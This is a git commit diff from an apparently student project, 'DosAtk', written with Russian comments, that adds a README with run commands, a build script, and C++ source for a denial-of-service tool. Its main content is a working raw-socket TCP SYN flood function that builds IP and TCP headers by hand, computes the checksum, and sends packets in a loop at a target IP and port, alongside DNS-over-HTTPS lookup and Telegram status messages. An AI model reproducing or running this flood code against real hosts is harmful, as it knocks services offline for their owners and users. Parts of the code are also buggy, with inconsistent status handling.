nekitmilk_compile_dev (#14)

Co-authored-by: tieshagr <tieshagr@student.21>
Reviewed-on: https://gitea.serafimdev.com/serafim/dos/pulls/14
Reviewed-by: serafim <simasuh@gmail.com>
Co-authored-by: nekitmilk <ya.nikita1317@gmail.com>
Co-committed-by: nekitmilk <ya.nikita1317@gmail.com>

.gitignore

@@ -1 +1,4 @@
 .vscode
+src/test.cpp
+test
+DosAtk

README.md

@@ -1,7 +1,10 @@
 # Как жить?
 
+Регаемся на данном сайте, форкаем либу, пушим в свой форк и создаём merge request.
+Либо просим у Серафима контрибьютора и сразу делаем ветку где надо (так даже лучше, не придётся мучаться с мержем из форка)
+
 ```
-git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий
+git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий (замените на свой форк!)
 git checkout -b my_dns # Создаём ветку для реализации модуля my_dns
 git add * # Добавляем написанный код в комит
 git commit -m 'Написал код' # Комитим в локальную ветку
@@ -9,6 +12,24 @@ git push origin my_dns # Пушим свою ветку в репозитори
 # Теперь в интерфейсе https://gitea.serafimdev.com/serafim/dos создаём пул реквест и пишем мне в тг
 ```
 
-Для компиляции:
+# Компиляция
-g++ DosAtk.cpp -lcurl
+
-Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: sudo apt-get install libcurl4-openssl-dev
+Для компиляции: `./build.sh` (после компиляции запускает файл), либо ручками: `g++ src/DosAtk.cpp -o DosAtk -lcurl -lssl -lcrypto`
+Если ошибка отсутствия заголовочных файлов, то нужно установить:
+
+```
+sudo apt-get install libcurl4-openssl-dev
+sudo apt-get install libssl-dev
+```
+
+# Запуск
+
+Пример запуска:
+
+```
+sudo ./DosAtk -a flood -i 127.0.0.1 -p 800   # запуск заранее скомпилированной программы
+sudo ./build.sh -a flood -i 127.0.0.1 -p 800 # скомипилирует и запустит программу
+```
+
+Запускается только на Линухе!
+

build.sh

@@ -1,2 +1,4 @@
-g++ src/DosAtk.cpp -o DosAtk -lcurl
+#!/bin/sh
+set -e  # if compilation fail next command will not be executed, so older version of programm will not be launched
+g++ src/DosAtk.cpp -o DosAtk -lcurl -lssl -lcrypto
 ./DosAtk "$@"

src/DosAtk.cpp

@@ -1,20 +1,40 @@
-// ====== DCL библиотеки ====== //
+/*
+██████╗  ██████╗██╗         ██╗     ██╗██████╗ 
+██╔══██╗██╔════╝██║         ██║     ██║██╔══██╗
+██║  ██║██║     ██║         ██║     ██║██████╔╝
+██║  ██║██║     ██║         ██║     ██║██╔══██╗
+██████╔╝╚██████╗███████╗    ███████╗██║██████╔╝
+╚═════╝  ╚═════╝╚══════╝    ╚══════╝╚═╝╚═════╝    
+*/
 
-#include <iostream>          // Для работы с вводом-выводом (cout, cin и др.)
+#include <cstring>          // Работа со строками и памятью (memset, memcpy)
-#include <stdlib.h>          // Стандартная библиотека C (функции работы с памятью, преобразования типов и др.)
+#include <unistd.h>         // POSIX API (close, read, write)
-#include <string>            // Для работы со строками string
+#include <sys/socket.h>     // Сокеты (socket, setsockopt, sendto)
-#include <chrono>            // Для работы с временем и таймерами
+#include <netinet/ip.h>     // Структура IP-заголовка (struct iphdr)
-#include <ctime>             // Функции работы со временем C (time_t, localtime и др.)
+#include <netinet/tcp.h>    // Структура TCP-заголовка (struct tcphdr)
-#include <iomanip>           // Для форматированного вывода (setw, setprecision и др.)
+#include <arpa/inet.h>      // Преобразование IP-адресов (inet_addr, inet_pton)
-#include <getopt.h>          // Для разбора аргументов командной строки
+#include <net/if.h>         // Определение констант сетевых интерфейсов (IFNAMSIZ)
-#include <cctype>            // Функции для работы с символами (isdigit, isalpha и др.)
+#include <sys/ioctl.h>      // Управление сокетами и интерфейсами (ioctl)
-#include <curl/curl.h>       // Библиотека libcurl для HTTP-запросов (отправка в Telegram)
+#include <fcntl.h>          // Флаги файловых дескрипторов (fcntl)
+#include <string>           // Строки
+#include <chrono>           // Для работы с временем
+#include <getopt.h>         // Для struct option и getopt_long()
+#include <curl/curl.h>      // Основной заголовок libcurl
+#include <iostream>         // стандартный input output
+#include <iomanip>
+#include <nlohmann/json.hpp>
 
-// ====== DCL глобальные переменные ====== //
+/*
+██████╗  ██████╗██╗         ██╗   ██╗ █████╗ ██████╗ ███████╗
+██╔══██╗██╔════╝██║         ██║   ██║██╔══██╗██╔══██╗██╔════╝
+██║  ██║██║     ██║         ██║   ██║███████║██████╔╝███████╗
+██║  ██║██║     ██║         ╚██╗ ██╔╝██╔══██║██╔══██╗╚════██║
+██████╔╝╚██████╗███████╗     ╚████╔╝ ██║  ██║██║  ██║███████║
+╚═════╝  ╚═════╝╚══════╝      ╚═══╝  ╚═╝  ╚═╝╚═╝  ╚═╝╚══════
+*/
 
-// Параметры
+int argc;                                                // Количество аргументов при вызове программы
-int argc                                                // Количество аргументов при вызове программы
+char **argv;                                             // Массив строк с агрументами
-char **argv                                             // Массив строк с агрументами
 std::string attack_type;                                // Тип атаки: scan или syn
 std::string domain;                                     // Доменное Имя
 std::string ip;                                         // Ip жертвы
@@ -22,20 +42,25 @@ std::string port;                                       // Порт для syn
 std::string log_file;                                   // Путь к директории для логов
 std::string telegram_id;                                // Telegram ID для уведомлений
 std::string telegram_token;                             // Токен бота для уведомлений
-
-// Статистика
 int n_ok_requests;                                      // Количество успешных запросов
 int n_fail_requests;                                    // Количество не успешных запросов
 std::chrono::system_clock::time_point start_timestamp;  // Начальное время работы
-// Переменные
 std::string log_msg;                                    // Сообщение, которое будет записано в лог-файл
 std::string fin_msg;                                    // Сообщение, которое будет выведено в консоль пользователю
 std::string msg;                                        // Сообщение, которое будет отправлено в телеграм 
 int status;                                             // Статус работы программы
+// int log_status;
 
-// ====== DCL процедуры ====== //
+/*
+██████╗  ██████╗██╗         ██████╗ ██████╗  ██████╗  ██████╗███████╗██████╗ ██╗   ██╗██████╗ ███████╗███████╗
+██╔══██╗██╔════╝██║         ██╔══██╗██╔══██╗██╔═══██╗██╔════╝██╔════╝██╔══██╗██║   ██║██╔══██╗██╔════╝██╔════╝
+██║  ██║██║     ██║         ██████╔╝██████╔╝██║   ██║██║     █████╗  ██║  ██║██║   ██║██████╔╝█████╗  ███████╗
+██║  ██║██║     ██║         ██╔═══╝ ██╔══██╗██║   ██║██║     ██╔══╝  ██║  ██║██║   ██║██╔══██╗██╔══╝  ╚════██║
+██████╔╝╚██████╗███████╗    ██║     ██║  ██║╚██████╔╝╚██████╗███████╗██████╔╝╚██████╔╝██║  ██║███████╗███████║
+╚═════╝  ╚═════╝╚══════╝    ╚═╝     ╚═╝  ╚═╝ ╚═════╝  ╚═════╝╚══════╝╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚══════╝
+*/
 
-void my_check_params()
+int my_check_params()
 {
     // Данная процедура записывает в глобальные переменные параметры 
     // (attack_type, domain, ip, port, log_file, telegram_id, telegram_token) проводимой атаки, поступившие при вызове программы
@@ -52,31 +77,30 @@ void my_check_params()
 
     //Объявление
     std::chrono::milliseconds ms;   // Количество миллисекунд от целой секунды времени начала выполнения программы
+    std::time_t now_time_t; // текущее время
     int opt;                        // Прочитанный параметр
     const char* short_options;      // Сокращения для параметров
-    struct option long_options[];   // Структура, описывающая пеобходимые программе параметры
+    struct option long_options[10];   // Структура, описывающая пеобходимые программе параметры
     int i;                          // Счётчик для цикла
 
     // Инициализация
     ms = std::chrono::duration_cast<std::chrono::milliseconds>(start_timestamp.time_since_epoch()) % 1000;
     opt = -1;
     short_options = "a:d:i:p:l:t:b:h";   
-    long_options = 
+    long_options[0] = {"attack",    required_argument, NULL, 'a'};
-    {
+    long_options[1] = {"domain",    required_argument, NULL, 'd'};
-        {"attack",    required_argument, NULL, 'a'},
+    long_options[2] = {"ip",        required_argument, NULL, 'i'};
-        {"domain",    required_argument, NULL, 'd'},
+    long_options[3] = {"port",      required_argument, NULL, 'p'};
-        {"ip",        required_argument, NULL, 'i'},
+    long_options[4] = {"log",       required_argument, NULL, 'l'};
-        {"port",      required_argument, NULL, 'p'},
+    long_options[5] = {"telegram",  required_argument, NULL, 't'};
-        {"log",       required_argument, NULL, 'l'},
+    long_options[6] = {"token",     required_argument, NULL, 'b'};
-        {"telegram",  required_argument, NULL, 't'},
+    long_options[7] = {"help",      no_argument,       NULL, 'h'};
-        {"token",     required_argument, NULL, 'b'},
+    long_options[8] = {NULL,     0,                 NULL,  0};
-        {"help",      no_argument,       NULL, 'h'},
-        {NULL,     0,                 NULL,  0}
-    };
     i = 0;
 
     printf("begin my_check_params"); // debug
 
+    now_time_t = std::time(nullptr);
     // Выводим информацию о времени запуска программы
     printf("Starting DosAtk at %04d-%02d-%02d %02d:%02d:%02d.%03ld\n",  // Шаблон для вывода
         std::localtime(&now_time_t)->tm_year + 1900,                    // Год (с 1900)
@@ -113,56 +137,50 @@ void my_check_params()
             telegram_token = optarg;  // Сохраняем токен бота Telegram
             break;
         case 'h':  // Обработка опции -h (--help)
-            status = 0;  // Устанавливаем статус "показать справку"
+            return 0;  // Устанавливаем статус "показать справку"
             break;
         case '?':  // Обработка неизвестной опции
-            status = -101;  // Устанавливаем статус "неизвестная опция"
+            return -101;  // Устанавливаем статус "неизвестная опция"
             break;
         }
     }
 
-    // Проверяем корректность введенных параметров
+    if (status != 0 && status != -101) // Проверяем корректность введенных параметров
-    if (status != 0 && status != -101)
     {
-        // Проверяем валидность типа атаки
+        if (attack_type != "flood" && attack_type != "scan") { // Проверяем валидность типа атаки
-        if (attack_type != "flood" && attack_type != "scan") {
+            return -1;  // Некорректный тип атаки
-            status = -1;  // Некорректный тип атаки
         }
-        // Для сканирования портов должна быть указана цель (домен или IP)
+        else if (attack_type == "scan" && domain.empty() && ip.empty()) { // Для port scanning нужен домен или IP
-        else if (attack_type == "scan" && domain.empty() && ip.empty()) {
+            return -10;  // Не указана цель для сканирования
-            status = -10;  // Не указана цель для сканирования
         }
-        // Для флуд-атаки должна быть указана цель (домен или IP)
+        else if (attack_type == "flood" && domain.empty() && ip.empty()) { // Для флуд-атаки нужен домен или IP
-        else if (attack_type == "flood" && domain.empty() && ip.empty()) {
+            return -20;  // Не указана цель для флуда
-            status = -20;  // Не указана цель для флуда
         }
-        // Проверяем, что если указан Telegram ID или токен, то должны быть указаны оба
+        else if ((!telegram_id.empty() && telegram_token.empty()) ||    // Если указан telegram token то нужен и id
-        else if ((!telegram_id.empty() && telegram_token.empty()) || 
+                (telegram_id.empty() && !telegram_token.empty())) {     // Если указан telegram id то нужен и token
-                (telegram_id.empty() && !telegram_token.empty())) {
+            return -600;  // Неполные данные для Telegram
-            status = -600;  // Неполные данные для Telegram
         }
-        // Если все проверки пройдены и тип атаки - сканирование
+        else if (attack_type == "scan") { // Если все проверки пройдены и тип атаки - сканирование
-        else if (attack_type == "scan") {
+            return 1;  // Валидные параметры для сканирования
-            status = 1;  // Валидные параметры для сканирования
         }
-        // Если все проверки пройдены и тип атаки - флуд
+        
-        else if (attack_type == "flood") {
+        else if (attack_type == "flood") { // Если все проверки пройдены и тип атаки - флуд
-            status = 2;  // Валидные параметры для флуда
+            return 2;  // Валидные параметры для флуда
         }
     }
 
     printf("end my_check_params status: %i\n", status); // debug
+
+    return -101;
 }
 
 void my_diag()
 {
     // Данная функция вызывается в случае ошибки на каком-то этапе и на основании поступившего кода, 
     // формирует сообщение с описанием произошедшей ошибки
-
     printf("begin my_diag, status: %i\n", status); // debug
 
-    // Выбор сообщения в зависимости от кода ошибки
+    switch (status) // Выбор сообщения в зависимости от кода ошибки
-    switch (status)
     {
     case 0: // Специальный случай - вывод справки по использованию
         printf("Usage: ./DosAtk [options]\n"
@@ -193,15 +211,24 @@ void my_diag()
         break;
     }
 
-    // Отладочный вывод - завершение работы функции
     printf("end my_diag\n"); // debug
 }
 
 // Функция для экранирования специальных символов в строке перед использованием в JSON
 // Принимает: const std::string& s - исходная строка для обработки
 // Возвращает: std::string - строка с экранированными спецсимволами
-std::string escape_json(const std::string& s) {
+std::string escape_json(const std::string& s)
+{
+    // Возвращаем строку с экранированными символами
+
+    // ===== Объявления =====
     std::string result; // Результирующая строка с экранированными символами
+    char c;             // Символ в строке
+
+    // ===== Инициализация =====
+    result = "";
+    c = '\0'; // пустой символ
+
     // Проходим по каждому символу входной строки
     for (char c : s) {
         // Обрабатываем специальные символы JSON
@@ -216,17 +243,25 @@ std::string escape_json(const std::string& s) {
             default:   result += c;     break; // Все остальные символы добавляем как есть
         }
     }
+
     return result; // Возвращаем обработанную строку
 }
 
-bool is_numeric(const std::string& s) {
+bool is_numeric(const std::string& s)
+{
     // Проверка, является ли строка числом (включая отрицательные)
 
+    // ===== Объявления =====
     size_t start; // Индекс, с которого начинать проверку цифр
+    size_t i;
+
+    // ===== Инициализация =====
+    start = 0;
+    i = 0;
+
     if (s.empty()) return false; // Пустая строка не может быть числом
     
     // Проверяем наличие знака минус в начале
-    start = 0;
     if (s[0] == '-') {
         // Строка из одного минуса не является числом
         if (s.size() == 1) return false;
@@ -234,16 +269,17 @@ bool is_numeric(const std::string& s) {
         start = 1;
     }
     // Проверяем все оставшиеся символы на цифры
-    for (size_t i = start; i < s.size(); ++i) {
+    for (i = start; i < s.size(); ++i) {
         // Найден нецифровой символ - строка не число
         if (!isdigit(s[i])) return false;
     }
+
     // Все проверки пройдены - строка является числом
     return true;
 }
 
-void my_msg() {
+void my_msg()
-
+{
     printf("begin my_msg"); // debug
 
     // Объявление
@@ -262,7 +298,7 @@ void my_msg() {
     chat_id_field = is_numeric(telegram_id) ? "\"chat_id\": " + telegram_id : "\"chat_id\": \"" + telegram_id + "\"";
     json_data = "{" + chat_id_field + ", \"text\": \"" + escaped_msg + "\"}"; // Сборка JSON-запроса
     http_code = 0;
-    res = nullptr;
+    res = CURLE_OK;
 
     // Проверка наличия обязательных параметров Telegram
     if (telegram_token.empty() || telegram_id.empty())
@@ -324,11 +360,12 @@ void my_msg() {
     printf("end my_msg"); // debug
 }
 
-void my_log()
+int my_log()
 {
     // Данная функция записывает в файл лога сообщение
     printf("start my_log"); // debug
     printf("end my_log"); // debug
+    return 0;
 }
 
 void my_fin()
@@ -337,7 +374,7 @@ void my_fin()
     
     // Объявления
     time_t end_time_t;                      // Время завершения выполненя программы
-    std::chrono::duration duration;         // Длительность выполнения программы
+    std::chrono::milliseconds duration;         // Длительность выполнения программы
     std::chrono::hours hours;               // Компонента часов времени завершения
     std::chrono::minutes minutes;           // Компонента минут времени завершения
     std::chrono::seconds seconds;           // Компонента секунд времени завершения
@@ -345,12 +382,12 @@ void my_fin()
 
     // Иницаализация
     end_time_t = std::chrono::system_clock::to_time_t(std::chrono::system_clock::now());
-    duration = end_timestamp - start_timestamp; // Вычисляем продолжительность работы программы
+    duration = std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::system_clock::now() - start_timestamp); // Вычисляем продолжительность работы программы
     hours = std::chrono::duration_cast<std::chrono::hours>(duration); // Разбиваем продолжительность на компоненты
     minutes = std::chrono::duration_cast<std::chrono::minutes>(duration % std::chrono::hours(1)); // Разбиваем продолжительность на компоненты
     seconds = std::chrono::duration_cast<std::chrono::seconds>(duration % std::chrono::minutes(1)); // Разбиваем продолжительность на компоненты
     milliseconds = std::chrono::duration_cast<std::chrono::milliseconds>(duration % std::chrono::seconds(1));  // Разбиваем продолжительность на компоненты
-    double total_seconds
+    double total_seconds;
 
     printf("begin my_diag\n"); // debug
 
@@ -388,26 +425,245 @@ void my_fin()
     std::exit(status);
 }
 
-void my_dns()
+int my_tcp_syn() {
+    /*
+    * Отправляет TCP SYN запрос на указанный IP и порт
+    *   status:
+    *     0   - запрос успешно отправлен (атака продолжается)
+    *     2   - достигнуто максимальное количество запросов (1000)
+    *    -201 - ошибка создания raw-сокета
+    *    -202 - ошибка отправки SYN-пакета
+    */
+    printf("start my_tcp_syn"); // debug
+    
+    // === Объявление локальных переменных ===
+    int sock;           // Основной raw-сокет для отправки пакетов
+    int one;            // Флаг для setsockopt
+    // Структуры для адресов
+    struct sockaddr_in target_addr;  // Адрес цели
+    // Параметры подключения
+    uint16_t target_port;       // Порт цели (в сетевом порядке байт)
+    // Структуры заголовков
+    struct iphdr ip_header;    // IP-заголовок пакета
+    struct tcphdr tcp_header;  // TCP-заголовок пакета
+    // Псевдозаголовок для контрольной суммы
+    struct {
+        uint32_t saddr;
+        uint32_t daddr;
+        uint8_t zero;
+        uint8_t protocol;
+        uint16_t tcp_len;
+    } pseudo_header;
+    // Буферы данных
+    char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы
+    char packet[sizeof(iphdr) + sizeof(tcphdr)];          // Итоговый пакет
+    
+    // Переменные для встроенного расчета контрольной суммы
+    uint16_t *checksum_ptr;
+    unsigned long checksum_sum;
+    uint8_t *checksum_byte_ptr;
+    int checksum_len;
+
+    // === Инициализация переменных ===
+    sock = -1;
+    one = 1;
+    memset(&target_addr, 0, sizeof(target_addr));
+    target_port = htons(atoi(port.c_str()));
+    memset(&ip_header, 0, sizeof(ip_header));
+    memset(&tcp_header, 0, sizeof(tcp_header));
+    memset(&pseudo_header, 0, sizeof(pseudo_header));
+    memset(temp_buf, 0, sizeof(temp_buf));
+    memset(packet, 0, sizeof(packet));
+    checksum_ptr = 0;
+    checksum_sum = 0;
+    checksum_len = 0;
+
+    // === Основная логика процедуры ===
+    // 1. Создание raw-сокета
+    if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
+        return -201;
+    }
+
+    // 2. Установка опции IP_HDRINCL
+    setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one));
+
+    // 3. Настройка адреса цели
+    memset(&target_addr, 0, sizeof(target_addr));
+    target_addr.sin_family = AF_INET;
+    if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) {
+        close(sock);
+        return -202;
+    }
+
+    // 4. Формирование IP заголовка
+    memset(&ip_header, 0, sizeof(ip_header));
+    ip_header.ihl = 5;
+    ip_header.version = 4;
+    ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr));
+    ip_header.ttl = 64;
+    ip_header.protocol = IPPROTO_TCP;
+    ip_header.saddr = inet_addr("127.0.0.1");
+    ip_header.daddr = inet_addr(ip.c_str());
+
+    // 5. Формирование TCP заголовка
+    memset(&tcp_header, 0, sizeof(tcphdr));
+    tcp_header.source = htons(12345);
+    tcp_header.dest = target_port;
+    tcp_header.seq = htonl(123456);
+    tcp_header.doff = 5;
+    tcp_header.syn = 1;
+    tcp_header.window = htons(5840);
+
+    // 6. Расчет контрольной суммы
+    pseudo_header = {
+        .saddr = ip_header.saddr,
+        .daddr = ip_header.daddr,
+        .zero = 0,
+        .protocol = IPPROTO_TCP,
+        .tcp_len = htons(sizeof(tcphdr))
+    };
+    memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header));
+    memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr));
+
+    // Встроенный расчет контрольной суммы
+    checksum_ptr = (uint16_t *)temp_buf;
+    checksum_len = sizeof(temp_buf);
+    
+    while (checksum_len > 1) {
+        checksum_sum += *checksum_ptr++;
+        checksum_len -= 2;
+    }
+    
+    if (checksum_len == 1) {
+        checksum_byte_ptr = (uint8_t *)checksum_ptr;
+        checksum_sum += *checksum_byte_ptr;
+    }
+    
+    checksum_sum = (checksum_sum >> 16) + (checksum_sum & 0xFFFF);
+    tcp_header.check = (unsigned short)(~checksum_sum);
+
+    // 7. Сборка пакета
+    memcpy(packet, &ip_header, sizeof(iphdr));
+    memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr));
+
+    // 8. Отправка пакета
+    if (sendto(sock, packet, sizeof(packet), 0, 
+              (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) {
+        n_fail_requests++;
+        return -202;
+    } else {
+        n_ok_requests++;
+    }
+
+    // 9. Проверка завершения
+    if ((n_ok_requests + n_fail_requests) >= 1000) {
+        return 2;
+    }
+
+
+    close(sock);
+    printf("end my_tcp_syn"); // debug
+    return 0;
+}
+
+int my_udp() {
+    return 0;
+}
+
+// Callback для записи ответа от сервера
+size_t WriteCallback(void* contents, size_t size, size_t nmemb, std::string* output) {
+    size_t total_size = size * nmemb;
+    output->append((char*)contents, total_size);
+    return total_size;
+}
+
+int my_dns()
 {
     // Данная процедура сопостовляет доменное имя с IP 
+    // Обрабатываем перменнкю domain, записываем в ip
+    // -4001 - ошибка инициализации CURL
+    // -4002 - ошибка запроса CURL
+    // -4003 - ошибка парсинга JSON
+
+    CURL* curl;                 // объект curl
+    CURLcode res;               // результат выполнения запроса
+    std::string response;       // ответ DNS сервера
+    std::string url;            // API DNS сервера
+    struct curl_slist* headers; // Заголовки
+    nlohmann::json json_data;   // Ответ от dns сервера
+    int status;                 // Состояние работы процедуры
+    
+    status = 0;
+    curl = 0; 
+    res = {};
+    response = "";
+    url = "";
+    headers = {0};
+    json_data = {0};
+
     printf("start my_dns"); // debug
+
+    // Инициализируем curl
+    curl = curl_easy_init();
+    if (!curl) {
+        status = -4001;
+    }
+    else {
+        // Формируем URL для Cloudflare DoH
+        url = "https://1.1.1.1/dns-query?name=" + domain + "&type=A";
+
+        // Настройки CURL
+        curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
+        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback);
+        curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
+        curl_easy_setopt(curl, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_2_0); // HTTP/2
+        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1L); // Проверка SSL
+
+        // Устанавливаем заголовок
+        headers = curl_slist_append(headers, "accept: application/dns-json");
+        curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
+
+        // Выполняем запрос
+        res = curl_easy_perform(curl);
+        if (res != CURLE_OK) {
+            status = -4002;
+        } else {
+            // Парсим JSON и извлекаем IP
+            try {
+                json_data = nlohmann::json::parse(response);
+                if (json_data.contains("Answer")) {
+                    for (const nlohmann::json& record : json_data["Answer"]) {
+                        if (record["type"] == 1) { // A-запись (IPv4) (Это же и проверка валидного IP)
+                            ip = record["data"].get<std::string>();
+                            break;
+                        }
+                    }
+                }
+            } catch (const std::exception& e) {
+                status = -4003;
+            }
+        }
+    }
+
+    // Освобождаем ресурсы
+    curl_slist_free_all(headers);
+    curl_easy_cleanup(curl);
+    
+    if (!status) {
+        status = 1;
+    }
+
     printf("end my_dns"); // debug
+    return status;
 }
 
-void my_tcp_syn()
+/*
-{
+█████  █████     ██   ███      █████  ████    ███   █████  ████    ███   █   █  █   █  █   █  
-    // Данная процедура выполняет TCP SYN Flood атаку
+  █    █        █ █  █   █     █   █  █   █  █   █  █      █   █  █   █  ██ ██  ██ ██  █   █
-    printf("start my_tcp_syn"); // debug
+  █    ████    █  █  █   █     █   █  ████   █   █  █      ████   █████  █ █ █  █ █ █  ███ █
-    printf("end my_tcp_syn"); // debug
+  █    █      █   █  █   █     █   █  █      █   █  █      █      █   █  █   █  █   █  █ █ █
-}
+  █    █████  █   █   ███      █   █  █       ███   █      █      █   █  █   █  █   █  ███ █
-
+*/
-void my_udp()
-{
-    // Данная процедура выполняет UDP Flood (port scanning) атаку
-    printf("start my_udp"); // debug
-    printf("end my_udp"); // debug
-}
 
 int main(int arg_ctr, char **arg_ptr)
 {
@@ -429,24 +685,18 @@ int main(int arg_ctr, char **arg_ptr)
     std::string msg;
     int status = 0;
 
-    // Тело программы
+    status = my_check_params(); // Проверяем параметры командной строки
     
-    // Проверяем параметры командной строки
-    my_check_params();
     
-    // Обрабатываем результат проверки параметров
+    switch (status) // Обрабатываем результат проверки параметров
-    switch (status)
     {
     case 1: // Режим сканирования портов (UDP)
-        // Пытаемся разрешить DNS (если указано доменное имя)
+        status = my_dns(); // Пытаемся разрешить DNS (если указано доменное имя)
-        my_dns();
-        
         if (status == 0) // Если DNS разрешен успешно
         {
-            // Запускаем цикл UDP-атаки
+            while (true) // Запускаем цикл UDP-атаки
-            while (true)
             {
-                my_udp()
+                status = my_udp();
                 if (status == 2) // Код завершения атаки
                 {
                     break;
@@ -454,7 +704,7 @@ int main(int arg_ctr, char **arg_ptr)
                 else if (status < 0) // Обработка ошибок
                 {
                     my_diag(); // Выводим диагностику
-                    my_log();  // Пытаемся записать в лог
+                    status = my_log();  // Пытаемся записать в лог
                     if (status == 1) // Если записать лог не удалось
                     {
                         my_msg(); // Отправляем сообщение
@@ -469,13 +719,13 @@ int main(int arg_ctr, char **arg_ptr)
         else if (status == 1) // Ошибка DNS-разрешения
         {
             my_diag(); // Выводим ошибку
-            my_log(); // Логируем ошибку
+            status = my_log(); // Логируем ошибку
             
             if (status == 0) // Если лог получилось записать
             {
                 my_fin(); // Просто завершаем программу
             }
-            else if (log_status == 1) // Если лог не удалось записать
+            else if (status == 1) // Если лог не удалось записать
             {
                 my_msg(); // Отправляем сообщение
                 my_fin(); // Завершаем программу
@@ -484,14 +734,14 @@ int main(int arg_ctr, char **arg_ptr)
         break;
     case 2: // Режим SYN-флуда (TCP)
         // Пытаемся разрешить DNS (если указано доменное имя)
-        my_dns();
+        status = my_dns();
             
         if (status == 0) // Если DNS разрешен успешно
         {
             // Запускаем цикл UDP-атаки
             while (true)
             {
-                my_tcp_syn()
+                status = my_tcp_syn();
                 if (status == 2) // Код завершения атаки
                 {
                     break;
@@ -499,7 +749,7 @@ int main(int arg_ctr, char **arg_ptr)
                 else if (status < 0) // Обработка ошибок
                 {
                     my_diag(); // Выводим диагностику
-                    my_log();  // Пытаемся записать в лог
+                    status = my_log();  // Пытаемся записать в лог
                     if (status == 1) // Если записать лог не удалось
                     {
                         my_msg(); // Отправляем сообщение
@@ -514,13 +764,13 @@ int main(int arg_ctr, char **arg_ptr)
         else if (status == 1) // Ошибка DNS-разрешения
         {
             my_diag(); // Выводим ошибку
-            my_log(); // Логируем ошибку
+            status = my_log(); // Логируем ошибку
             
             if (status == 0) // Если лог получилось записать
             {
                 my_fin(); // Просто завершаем программу
             }
-            else if (log_status == 1) // Если лог не удалось записать
+            else if (status == 1) // Если лог не удалось записать
             {
                 my_msg(); // Отправляем сообщение
                 my_fin(); // Завершаем программу
@@ -534,7 +784,7 @@ int main(int arg_ctr, char **arg_ptr)
     case -101:
     case -600:
         my_diag(); // Выводим диагностику
-        my_log(); // Логируем событие
+        status = my_log(); // Логируем событие
         
         if (status == 0) // Без уведомления
         {